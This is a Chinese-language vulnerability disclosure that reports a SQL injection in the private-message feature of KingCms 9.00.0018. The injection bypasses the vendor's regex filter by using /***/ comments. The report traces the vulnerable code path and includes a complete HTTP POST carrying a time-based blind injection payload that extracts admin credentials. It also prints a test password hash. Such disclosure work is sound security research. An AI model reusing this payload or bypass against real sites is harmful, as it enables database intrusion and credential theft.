### 简要描述:
KingCms最新版绕过补丁(版本:9.00.0018)注入一枚
### 详细说明:
写在前面:漏洞存在于用户发送站内信的地方,因此,测试时需要注册一个前台的普通用户。
朋友的公司购买了kingcms的授权,最近kingcms官方给我朋友发来了升级包,升级说明当中说已经解决了已知的安全问题,今天再帮朋友测试下。
自从朋友购买,已经经过了9.00.0015,9.00.0016,9.00.0017,现在更新到了9.00.0018,kingcms服务还不错。9.00.0018的更新时间是2015.07.23,见官网http://www.kingcms.com/download/k9/
另:由于kingcms使用的是云后台,安装过程与一般的cms有点不同,复现时安装请参考官方:http://www.focuznet.com/k9/t3012/ (特别是安装的后面部分操作)
既然是绕过补丁,那还是先来回顾一下以前的过滤版本,主要包括9.00.0014及以前,9.00.0015版,9.00.0016-9.00.0018版。我们来具体研究学习一下:
9.00.0014版及以前各版本:
直接获得用户提交的$where参数,没有过滤,直接带入了SQL执行。
9.00.0015版:
由于我已前提交的漏洞已经公开,在9.00.0015版中添加了过滤,打了补丁,这里只把过滤方法拿出来,方便后面对比。
```
/**
* 参考Discuz!及阿里云 云体检通用漏洞防护补丁
*/
public function safecheck($sql){
$checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL');
$cmd = strtoupper(substr(trim($sql), 0, 3));
if (!in_array($cmd, $checkcmd)) {
return TRUE;
}
$disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)';
if (preg_match("/" . $disablesql . "/is", $sql) == 1) {
return FALSE;
}
return TRUE;
}
}
```
9.00.0016-9.00.0018版:
由于上面的补丁被成功绕过,kingcms又进行了修复更新,具体的补丁是这样的。
```
/**
* 参考Discuz!及阿里云 云体检通用漏洞防护补丁
*/
public function safecheck($sql){
$checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL');
$cmd = strtoupper(substr(trim($sql), 0, 3));
if (!in_array($cmd, $checkcmd)) {
return TRUE;
}
$disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)';
if (preg_match("/" . $disablesql . "/is", str_replace('/**/', '', $sql)) == 1) {
return FALSE;
}
return TRUE;
}
```
可以看到这两次补本的最大不同就是最新版过滤了/**/,只所以过滤/**/,是因为我在9.00.0015版中使用/**/绕过了kingcms使用正则表达式进行防注过滤的补丁,这次提交的漏洞将绕过kingcms的最新补丁进行注入。
注入点:POST /user/pm.php?CMD=post
注入参数:username 问题文件在/user/pm.php
```
function _post(){
$u=new user;extract($u->info);;
if (!$islogin) kc_tip('请先登录!');
if(METHOD=='POST'){
$str=new str;
$db=new db;
if(empty($_POST['username'])) kc_tip('用户名不能为空!','form');
if(empty($_POST['content'])) kc_tip('短信内容不能为空!','form');
if($str->len($_POST['content'])>1000) kc_tip('短信不能超过1000字!');
$usernames=preg_split('/[\s\,]+/',$_POST['username']);
$res=$db->getRows('%s_user','userid',"username in ('".implode("','",$usernames)."')");
if(empty($res)) kc_tip('收件人名称有误!','form');
$array=array();
foreach($res as $rs){
$array[]=array(
'userid'=>$rs['userid'],
'puserid'=>$userid,
'content'=>$_POST['content'],
'date'=>time(),
);
}
$db->insert('%s_user_pm',$array,1);
kc_tip('信息发送成功!','ok');
}
$s='<table class="k_table_form">';
$s.='<tr><th>收件人</th><td><input type="text" name="username" value="'.kc_val($_POST,'username').'" class="k_in w200"/><em>多个用户逗号分开</em></td></tr>';
$s.='<tr><th>短信内容</th><td><textarea name="content" class="k_in w400 h150"></textarea></td></tr>';
$s.='</table>';
kc_ajax(array(
'TITLE'=>'发信息',
'MAIN'=>$s,
'ID'=>'k_ajax',
'WIDTH'=>580,
'HEIGHT'=>220,
'BUTTON'=>'<button onclick="$.kc_ajax({URL:\''.FULLURL.DIR.'user/pm.php\',CMD:\'post\',FORM:\'k_ajaxForm\',METHOD:\'POST\'})">发送</button>',
));
}
```
可以看到kingmcs使用preg_split对username进行了处理,我们分析一下这个正则,它的作用是通过空格或逗号把username进行分隔,因此,我们的exp中不能出现空格符和逗号。然后执行了getRows(),跟进
```
public function getRows($table,$insql='*',$where=null,$order=null,$limit=null,$group=null) {
$table=str_replace('%s',DB_PRE,$table);
$sql="SELECT $insql FROM $table ";
$sql.= empty($where) ? '' : " WHERE $where";
$sql.= empty($group) ? '' : " GROUP BY $group";
$sql.= empty($order) ? '' : " ORDER BY $order";
$sql.= empty($limit) ? '' : " LIMIT $limit";
return $this->get($sql);
}
```
执行了$this->get($sql),去看看$this->get
```
public function get($sql) {
$res=array();
$this->query($sql);
if (empty($this->query_ID)) {
return array();
}
$rows=mysql_num_rows($this->query_ID);
for($i=0;$i<$rows;$i++) {
if(!mysql_data_seek($this->query_ID,$i)) {
kc_tip('<textarea>'.htmlspecialchars($_sql).'</textarea>');
}
$rs=mysql_fetch_array($this->query_ID);
foreach ($rs as $k=>$r) {
if (is_int($k) && $k!==0) {
unset($rs[$k]);
}
}
$res[$i]=$rs;
}
//释放资源
$this->free();
return $res;
}
```
执行了query(),跟进
```
public function query($sql) {
if(!$this->safecheck($sql)){
if(AJAX){
$tip='数据查询错误:'.$sql.'\n';
}else{
$tip='<strong style="color:#C00;display:block;line-height:50px;font-size:20px;">数据查询错误:'.$sql.'</strong>';
}
kc_tip($tip,'form');
}
if(!isset($this->link)) {
$this->connect();//判断数据库连接是否可用
}
@mysql_query('set names '.DB_CHARSET);//设置字符集
$this->query_ID = @mysql_query($sql);
//错误反馈
$errid=mysql_errno();
if(!empty($errid) && $this->debug==true){
echo('<strong style="color:#C00;display:block;line-height:50px;font-size:20px;">'.$errid.') 数据查询错误:'.mysql_error().'</strong><p>'.$sql.'</p>');
}
return $this->query_ID;
}
```
在query()中首先执行了$this->safecheck($sql),这个就是过滤方法,也是本次测试中要重点突破的过渡方法。
```
/**
* 参考Discuz!及阿里云 云体检通用漏洞防护补丁
*/
public function safecheck($sql){
$checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL');
$cmd = strtoupper(substr(trim($sql), 0, 3));
if (!in_array($cmd, $checkcmd)) {
return TRUE;
}
$disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)';
if (preg_match("/" . $disablesql . "/is", str_replace('/**/', '', $sql)) == 1) {
return FALSE;
}
return TRUE;
}
```
通过分析代码我们有了以下基本想法:
1、当str_replace把/**/过滤掉以后的语句,不能与$disablesql 正则匹配
2、构造的sql语句能被符合sql的语法规则。
最开始想使用/*/**/*/,当str_replace把中间的/**/去掉以后,正好剩下/**/,这样可以组成类似于(/**/select......这样的语句,不会被\(select|的正则匹配,但是/*/**/*/是错误的sql注释方法,sql语法有错误,因此不能绕过。
然后又想到使用/***/,str_replace('/**/', '', $sql)对/***/无效,而/***/在sql语句中与/**/作用相同,可以起到一个空格的作用,不影响sql语句的正常执行。成功绕过。
这里我们使用time-based injection,又因为不能使用空格和逗号,因此Payload如下:
```
POST /user/pm.php?CMD=post HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: userauth=ec15d79e36e14dd258cfff3d48b73d3510000
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 249
username=')or(/***/select/***/case/***/when(/***/select/***/username/***/from(/***/select*from/***/king_user)/***/as/***/a/***/where/***/userid=10000)/***/like/***/'a%'/***/then/***/sleep(1)/***/else/***/sleep(0)/***/end)%23&content=test&METHOD=POST
```
假时:
[<img src="https://images.seebug.org/upload/201508/172254140bf07fb8501d11eb0413240500961c66.jpg" alt="假副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/172254140bf07fb8501d11eb0413240500961c66.jpg)
真时:
[<img src="https://images.seebug.org/upload/201508/1722542329a7bf29566c2969a4b01026bf82af39.jpg" alt="真副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/1722542329a7bf29566c2969a4b01026bf82af39.jpg)
整个注入过程可以使用burpsuite 或者sqlmap 再或者自己写个脚本来跑,在本地进行测试,用户名为admin,密码为f6fdffe48c908deb0f4c3bd36c032e72
### 漏洞证明:
见 详细说明
暂无评论